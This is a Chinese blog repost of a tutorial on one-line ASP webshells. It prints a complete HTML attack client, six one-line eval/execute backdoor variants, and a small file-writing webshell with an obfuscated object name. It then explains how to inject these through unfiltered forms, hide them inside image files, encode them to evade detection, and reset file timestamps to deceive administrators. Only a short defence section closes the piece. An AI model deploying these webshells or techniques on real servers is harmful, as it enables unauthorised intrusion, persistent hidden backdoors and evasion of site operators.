搜索
查看
编辑修改
首页
UNITY
NODEJS
PYTHON
AI
GIT
PHP
GO
CEF3
JAVA
HTML
CSS
搜索
知新_RL
这个屌丝很懒,什么也没留下!
关注作者
热门标签
jquery
HTML
CSS
PHP
ASP
PYTHON
GO
AI
C
C++
C#
PHOTOSHOP
UNITY
iOS
android
vue
xml
爬虫
SEO
LINUX
WINDOWS
JAVA
MFC
CEF3
CAD
NODEJS
GIT
Pyppeteer
article
热门文章
1
Pytorch to(device)_pytorch to device
2
语言中 函数用地址传参的好处
3
【python教程入门学习】Python字典及基本操作(超级详细)_python字典的基本操作
4
java导出excel的两种方式
5
节点内DataNode磁盘使用率不均衡处理指导_dfs.datanode.fsdataset.volume.choosing.policy
6
二叉树的遍历(C语言)_二叉树遍历代码c语言
7
【LeetCode】对称二叉树,相同的数_二叉树如果碰到了相同的数字
8
ClientCnxn: Session 0x0 for server null, unexpected error Connection refused
9
【从0到1】搭建Neo4j数据库环境_neo4j 社区版 主从环境搭建
10
MPU6050篇——姿态解算,卡尔曼滤波_mpu6050姿态解算代码
当前位置:
article
> 正文
全面详尽剖析一句话asp木马 _.asp 一句话
作者:知新_RL | 2024-06-16 00:23:54
赞
踩
.asp 一句话
文章作者:冷月孤枫
备注:QQ:89224874 个人主页:
http://fker.8866.org/
转载请保留信息的完整性
所谓一句话插马,就是通过向服务端提交一句简短的代码来达到向服务器插入木马并最终获得webshell的方法。它分为一句话asp马、一句话php马……,本文就一句话asp木马来做一次详尽的剖析。在此首先要感谢前辈们的探究!
一:基础篇
首先我们看一下最常用的一句话木马客户端的代码
<html>
<head>
<title>一句话客户端</title>
<style type="text/css">
<!--
body {
background-color: #FFFFFF;
}
.lygf {
border: 1px solid #660069;
font-size: 12px;
}
-->
</style>
</head>
<body>
<table width="500" border="0" align="center" class="lygf" height="14" cellspacing="0">
<tr>
<td height="1" width="794">
<form name="lygf" method="post">
<input name="add" type="text" id="add" size="97" value="
http://">
<input type="submit" value="枫" onClick="this.form.action=this.form.add.value;">
<input type="hidden" name="fk" id="fk" value="Execute("Session(""fk"")=request(""*""):Execute(Session(""fk""))")">
</td>
</tr>
<tr>
<td height="100" width="794">
<textarea name="*" cols="100" rows="9" width="45">
set lP=server.createObject("Adodb.Stream")
lP.Open
lP.Type=2
lP.CharSet="gb2312"
lP.writetext request("lygf")
lP.SaveToFile server.mappath("fk.asp"),2
lP.Close
set lP=nothing
response.redirect "fk.asp"</textarea>
</td>
</tr>
<tr>
<td height="1" width="794">
<textarea name="lygf" cols="100" rows="15" width="45">
写入你的大马</textarea>
</td>
</tr>
<tr>
<td width="794" height="7">
<font color="#000000">提供六个服务端:</font>
<br>
1. <%eval request("fk")%>
<br>
2. <%execute request("fk")%>
<br>
3. <%execute(request("fk"))%>
<br>
4. <%On Error Resume Next%><%eval request("fk")%>
<br>
5. <script language=VBScript runat=server>execute request("fk")</Script>
<br>
6. <script language=VBScript runat=server>eval request("fk")</Script>
<br>
<br>By 冷月孤枫 枫客:http://fker.8866.org/
... t;/font><br>
</td>
</tr>
</table>
</body>
</html>
把上面的代码另存为htm的格式后就可以使用了,具体的使用说明在网页上可以看到
下面就带着大家一起分析一下上面的代码(html的一些最基本的知识就不做解释了):
<title>一句话客户端</title> 显示在浏览器标题栏上面的文字,你可以自己更改
<style type="text/css">
<!--
body {
background-color: #FFFFFF; 背景颜色
}
.lygf {
border: 1px solid #660099; 边框属性
font-size: 12px; 字体大小
}
--> 本页面所要用到的样式
<form name="lygf" method=post> 创建一个form对象,其中name的作用是用作一个枢纽把我们要插入的马的内容传递给form,以post方式提交给下面的连接,而不是get,用post提交IIS是不记入日志的
<input name="add" type="text" id="add" size="97" value="
http://">
创建一个用于提交的输入框(text)用于写地址(add),长度是97个字节,value=是默认的内容
<input type="submit" value="枫" onClick="this.form.action=this.form.add.value;">创建一个按钮用于提交(submit),后面的部分是把上面value的值赋给form去post
<input type="hidden" name="fk" id="fk" value="Execute("Session(""fk"")=request(""*""):Execute(Session(""fk""))")">通过建立一个隐藏域,把fk与下面name的值*关联,用session保存代码然后执行,这句借用了海洋的客户端,不过那样不怎么好用
<textarea name="*" cols="100" rows="9" width="45"> textarea就是论坛中的发言框。在HTML语言中,textarea、input都是属于“文本域”的
set lP=server.createObject("Adodb.Stream") CreateObject创建并返回对 Automation 对象的引用,应用于Server 对象;Adodb.Stream是ADO的Stream对象,提供存取二进制数据或者文本流,从而实现对流的读、写和管理等操作;对象创建后,就可以在代码中使用定义的对象变量(IP)引用此对象
lP.Open 打开这个变量
lP.Type=2 Type 指定或返回的数据类型,这里是以文本方式
lP.CharSet="gb2312" gb2312是指简体中文
lP.writetext request("lygf") Request 对象在 HTTP 请求期间,检索客户端浏览器传递给服务器的值,这里是lygf,要和下面文本框中的name=lygf相对应,writetext允许对现有的 text、ntext 或 image 列执行最小日志记录的交互式更新。WRITETEXT 将覆盖受其影响的列中的所有现有数据,在这里的作用就是取得下面的文本框里的木马的内容
lP.SaveToFile server.mappath("fk.asp"),2 这句很好懂,就是以覆盖文件的方式向服务器的同文件目录下写入fk.asp
lP.Close 关闭对象变量
set lP=nothing 释放Adodb.Stream对象
response.redirect "fk.asp" 在这里起到转向作用,转到我们刚刚写入的fk.asp
<textarea name=lygf cols=120 rows=10 width=45>添入生成木马的内容</textarea>又创建一个文本框用于写马的内容,这里的name要和上面的一样
给大家提供一个小马:
<%dim objfso%>
<%dim fdata%>
<%dim objcountfile%>
<%on error resume next%>
<%set objfso = server.createobject("S"+"cr"+"ipt"+"ing"+".f"+"il"+"es"+"ys"+"tem"+"ob"+"jec"+"t")%>
<%if trim(request("syfdpath"))<>"" then%>
<%fdata = request("cyfddata")%>
<%set objcountfile=objfso.createtextfile(request("syfdpath"),true)%>
<%objcountfile.write fdata%>
<%if err =0 then%>
<%response.write "<font color=red>save success!</font>"%>
<%else%>
<%response.write "<font color=red>save unsuccess!</font>"%>
<%end if%>
<%err.clear%>
<%end if%>
<%objcountfile.close%>
<%set objcountfile=nothing%>
<%set objfso = nothing%>
<%response.write "<form action='''' method=post>"%>
<%response.write "<input type=text name=syfdpath width=32 size=50>"%>
<%response.write "<br>"%>
<%=server.mappath(request.servervariables("script_name"))%>
<%response.write "<br>"%>
<%response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%>
<%response.write "<input type=submit value=go>"%>
<%response.write "</form>"%>
后面的一些代码都是一些使用说明,提供六个服务端
1. <%eval request("fk")%>
2. <%execute request("fk")%>
3. <%execute(request("fk"))%>
4. <%On Error Resume Next%><%eval request("fk")%>
5. <script language=VBScript runat=server>execute request("fk")</Script>
6. <script language=VBScript runat=server>eval request("fk")</Script>
大家试着用
解释以下:
在VBScript 中,x = y可以有两种解释。第一种方式是赋值语句,将y的值赋予x。第二种解释是测试x 和y是否相等。如果相等,result为True;否则result为False。Eval方法总是采用第二种解释,而Execute语句总是采用第一种。
Execute 执行一个或多个指定的语句,我们用来执行asp代码,它可以执行赋值操作,不过当POST的参数x为空时execute函数会出错,所以要加一句容错语句
Eval 计算一个表达式的值并返回结果,它的参数可以是包含任何有效VBScript表达式的字符串,也就可以执行asp代码,但它不能执行赋值操作,不过当参数为空不会出错
Request 对象在 HTTP 请求期间,检索客户端浏览器传递给服务器的值这里是fk
好,现在大家都知道了各个函数的意思,那我就把一句话木马的工作原理给大家讲一下:通过服务端的request('fk')的作用是读取客户端文件中第一个文本框中的内容(name值被命名为lygf的部分),然后通过Execute函数或eval函数执行其内容,之后的过程我都在上面说明了,写入大马,就得到了我们想要的webshell
二:应用篇
下面我们就来谈谈一句话asp木马的应用,大家应该都回用吧!哈哈
1.入侵:把一句话插入任何以asp结尾的文件中就能实现入侵。网上很多程序中或者是留言本或者是评论或者是申请表单等等吧,凡是想服务器提交数据的页面只要存在着数据过滤不严,可以插入一句话,大多都能入侵。但我们首先需要做的是,要确认它的数据库必须是以asp结尾的,并且要知道它的数据库路径。如果失败了,大家要自己找一下原因:可能是一句话被包围在一个函数内了(结束它),可能是被过滤<% %>,那大家就可以选择第四个服务端,还有我们可以吧一句话拆分,URLENCODE转换,代码加密等等,大家自由发挥吧!改了文件后要用海洋把文件最后修改时间改回去,这样可以骗过一些管理员!哈哈
2.后门:用它做后门简直太爽了,平时我们用的木马用专业的asp木马查找工具都是可以轻而易举的查出来的,用它做后门就不容易查处来了,因为它可以变形啊,拆分,URLENCODE转换,代码加密等等。可以把它放在asp网页的页首、页尾,不过可能导致页面不正常,容易被发现;可以放在asp页面的空函数内,实验了可以用,页面也正常;可以放在任何文件里面(图片、文本、压缩文件等),建议用图片,因为数量多,不易被发现,把它插入到图片后在一个asp页面中写入<!--#include file="***/****.***" -->后面省略的是你插入的文件的地址,也可以用copy命令使图片与asp文件合二为一copy 1.gif /b + asp.asp /a asp.gif参数/b 是指定以二进制格式复制、合并文件。参数/a 是指定以ascll格式复制、合并文件。还有很多期待发现的方法,只要能想就能做,心有多大世界就有多大,哈哈(比如一台主机我们可以给它架设IIS或微型IIS,后用一句话留后门,一句化在加上系统、只读、隐藏的属性,把文件夹放深一点,就差不多了)。改了文件后要用海洋把文件最后修改时间改回去,这样可以骗过一些管理员!哈哈
三:防范篇
1.是要隐藏网站的数据库,不要让攻击者知道数据库文件的链接地址,把数据库放深一点,名字起的奇怪一点。
2.防止暴库,在数据库连接文件中加入容错代码、设置好IIS转向错误页面等
3.防止用户提交的数据未过滤漏洞,对用户提交的数据进行过滤,替换一些危险的代码等,比较好的方法就是过滤<>,现在TX就过滤这个东西,导致我们不能DIY了
另外要注意的是:因为一句话木马调用了Adodb.Stream组件所以如果服务器端禁止Adodb.Stream组件是不会写入成功的!还有就是权限的问题,如果当前的虚拟目录禁止user组或者everyone写入操作的话那么也是不会成功的,不过这种情况很少见,一般都会有写的权限的!
但愿本文对你有所帮助,大家也可以到我的博客与我讨论,祝愿大家都能DIY出自己的一句话!
声明:
本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:
https://www.wpsshop.cn/w/知新_RL/article/detail/724440
推荐阅读
article
关于PHP使用
WebHook
的问题
Host
key
verification
failed
._we...
PHP项目在coding使用
WebHook
自动部署时,git pull出现了下面的问题
Host
key
verifica...
赞
踩
article
【题解】
应急
响应
靶机
训练
-
近源
渗透
OS-1...
【题解】
应急
响应
靶机
训练
-
近源
渗透
OS-1_
应急
响应
靶机
训练
-
近源
渗透
os-1
应急
响应
靶机
训练
-
近源
渗透
os-1 ...
赞
踩
article
Python报错:
Permission
Error: [
Errno
13]
Permission
de...
错误,测试了一下发现是项目中音频的错误,下方是测试代码。在用写项目时候出现了。_
python
的permissionerr...
赞
踩
article
python
比较炫酷
的
代码
,
python
漂亮
gui
界面
模板...
PythonGUI程序
界面
设计tkinter优点:无需另外下载,是自带
的
、操作简单、易方便;缺点:
界面
控件较少,页面不够...
赞
踩
article
传感器
通过
RS
485
转
USB
和电脑通信_
485
转
usb
驱动...
RS
485
转
USB
模块有5个接口,只需要将AB接口和压力变送器引出线的AB接口相连就行了,然后
USB
端接在电脑
USB
口上...
赞
踩
article
机械类——
Labview
调用
Solidworks
模型
,制作机械臂控制方式探索_
labview
...
小树不修不直溜,人不修理艮啾啾! 首先感谢CSDN上面前段时间的一位小哥的分享 @李天擎本文就言简意赅的说一下可能会遇到...
赞
踩
article
如何高效部署大
模型
?
CMU
最新万字综述纵览
LLM
推理
优化
技术...
作者| 机器之心点击下方卡片,关注“自动驾驶之心”公众号ADAS巨卷干货,即可获取点击进入→自动驾驶之心技术交流群本文只...
赞
踩
article
Excel
2013
打开
提示
文件
格式
和
扩展名
不匹配。
文件
可能
已损坏
或不安全。除非您信任其来源
,
否则请...
有的时候
打开
xls文档时
,
会
提示
“
文件
格式
和
扩展名
不匹配。
文件
可能
已损坏
或不安全。除非您信任其来源
,
否则请勿
打开
。是否仍...
赞
踩
article
mysql
分页
pageindex
_
MySQL
高效
分页
:子查询
分页
...
正 文:一般MYSQL最基本的
分页
方式:select*fromcontentorderbyiddesclimit0,10...
赞
踩
article
(二)区块
链
平台
FISCO
BCOS
介绍及
WeBASE
介绍_
fisco
bcos
同构
链
实现数据迁移的...
FISCO
BCOS
介绍
FISCO
BCOS
是由国内企业主导研发对外开源安全可控的企业级金融联盟
链
底层
平台
,该系统以实际...
赞
踩
article
四种
Wi
-Fi安全
协议
:
WEP
、
WPA
、
WPA
2、
WPA
3,看完秒懂!_
wifi
协议
...
Wi
-Fi安全
协议
密钥管理方法加密长度使用的
协议
WEP
静态密钥64位或128位
WPA
动态密钥128位
WPA
2动态密钥12...
赞
踩
article
创建
Git
本地仓库_
创建
本地
git
...
长话短说,步骤走起准备:
git
(码云注册完毕),
git
客户端下载完毕1.先
创建
SSH公钥按键盘 win+R键 然后输入c...
赞
踩
article
Spark
性能调优案例-多表
join
优化
,减少
shuffle
_
spark
sql
如何避免shuff...
A任务在凌晨1点到3点,平均耗时1h,且是核心公共任务,急需
优化
。_
spark
sql
如何避免
shuffle
失败sp...
赞
踩
article
短信
转发器
SmsForwarder
,
备用机
必备神器,开源免费...
将一部闲置手机用做
备用机
,可以帮我们解决诸多问题对于不少工作需要或者卡槽不够用的用户来说,
备用机
已经是必要的选择但毕竟使...
赞
踩
article
Android
ANR
的trace文件基本信息解读_
main
"
prio
=5 tid=1 nativ...
Android
ANR
的trace文件基本信息解读_
main
"
prio
=5 tid=1
native
|
group
=...
赞
踩
article
centos
配置
mysql
环境变量
_
CentOS7
安装配置 MySQL...
环境阿里云学生服务器(¥9.9/月) CentOS 7.3 64位下载 tar 包并解压缩博主采用离线安装的方式,首先下...
赞
踩
article
探索未来
机器人
技术
的利器:
Robotics
Library
...
探索未来
机器人
技术
的利器:
Robotics
Library
项目地址:https://gitcode.com/roboti...
赞
踩
article
[物
联网
]
OneNet
多协议
TCP
透传
_
onenet
tcp
透传
...
设备登陆报文是在建立
TCP
连接之后,用于告知OneNET平台,该终端DTU对应的是平台上的哪一个设备,数据用何种方式进行...
赞
踩
article
2分钟教你如何
产生
1Hz
频率
,你还有更好的方法吗_
4060
分频
产生
1hz
...
频率
为
1Hz
的波形,它的一个周期需要一秒的时间,那用什么电子器件可以
产生
这样的波形呢?只需要非常少的外围电路,五五定时器...
赞
踩
article
mysql
分页
pageindex
_
根据当前页号(
pageIndex
)和页大小(
pageSize
)...
一、用存储过程IF EXISTS(SELECT * FROM sys.objects WHERE NAME='pro
_
p...
赞
踩
相关标签
网络安全
渗透测试
攻防演练
安全
网络
python
开发语言
数据库
前端
服务器
人工智能
物联网
sql
labview & solidworks
mysql 分页 pageindex
区块链
同态加密
Wi-Fi
WEP
WPA
WPA2
WPA3
git
github